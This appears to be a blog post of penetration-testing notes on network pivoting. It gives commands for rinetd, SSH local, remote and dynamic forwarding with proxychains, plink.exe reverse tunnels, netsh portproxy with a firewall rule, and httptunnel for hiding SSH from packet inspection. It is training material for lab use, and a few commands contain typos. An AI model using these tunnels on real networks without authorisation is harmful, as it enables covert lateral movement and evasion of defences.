Pivoting Jutsus

RINETD (R INET D)

Type: Port Forwarding

  1. sudo apt install rinetd
  2. vim /etc/rinetd.conf
  3. bindaddress bindport = the Kali host that you are on. Example (0.0.0.0 80)
  4. connectaddress connectport = where your sending the traffic to. Example (GoogleIP 80)
  5. sudo service rinetd restart
  6. netstat -ln
  7. Use netcat on remote host to connect

SSH Local Port Forwarding

  1. sudo ssh -N -L 0.0.0.0:445 192.168.1.110:445 student@10.11.0.128
  2. smbclient -L 127.0.0.1 -U Administrator
  3. ssh -L 5901:localhost:5901 -N -f -l charix 10.10.10.84 ?

SSH Remote Port Forwarding

Opposite of SSH Local Port Forwarding

Pick this option if SSH is blocked by firewall

  1. ssh -N -R [bind_address:]port:host:hosport [username@address]
  2. ssh -N -R 10.10.14.26:2222:127.0.0.1:3306 kali@10.10.14.26
  3. Port 2222 should be open on Kali forwarding the MySQL traffic

SSH Dynamic Port Forwarding

Uses SOCKS4

  1. ssh -N -D [address to bind to]:[port to bind to] [username]@[SSH server address]
  2. ssh -N -D 127.0.0.1:8080 student@10.11.0.128
  3. sudo vim /etc/proxychains.conf
  4. Under [ProxyList] add socks4 127.0.0.1 8080
  5. proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110

Plink.exe Windows

  1. plink.exe -l aszampias -pw password 10.10.14.3 -P 443 -R 139:127.0.0.1:139
  2. plink.exe -ssh -l aszampias -pw password -R 10.2.43.23:4444:127.0.0.1:3306 10.2.43.23
  3. cmd.exe /c echo y | plink.exe -ssh -l kali -pw password -R 10.2.43.23:4444:127.0.0.1:3306 10.2.43.23 (if issues exist)

NetSH Windows

For additional interfaces.

  1. IPv6 must be enabled.
  2. IPHelper service must be on
  3. Execute this command on middle-man
  4. netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110
  5. netstat -anp TCP | find "4455"
  6. netsh advfirewall add rule name="forwardrule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
  7. Kali: smbclient -L --port=4455 10.11.0.22

HTTP Tunneling through Deep Packet Inspection

Port Forwarding.. WITH ENCAPSULATION!

Used to send SSH traffic disguised in HTTP

  1. sudo apt install httptunnel
  2. ssh -L 0.0.0.0:8888:WinServer:3389 student@127.0.0.1
  3. Debian: hts --foward-port localhost:8888 1234
  4. Kali: htc --forward-port 8080 s.t.u.v:12345
  5. Note: hts means server. htc means client

Comments

Popular posts from this blog

Palo Alto for GNS3 CCDC Tutorial

Release of CCDC ISE Manager Website

CCDC Midwest Regionals Review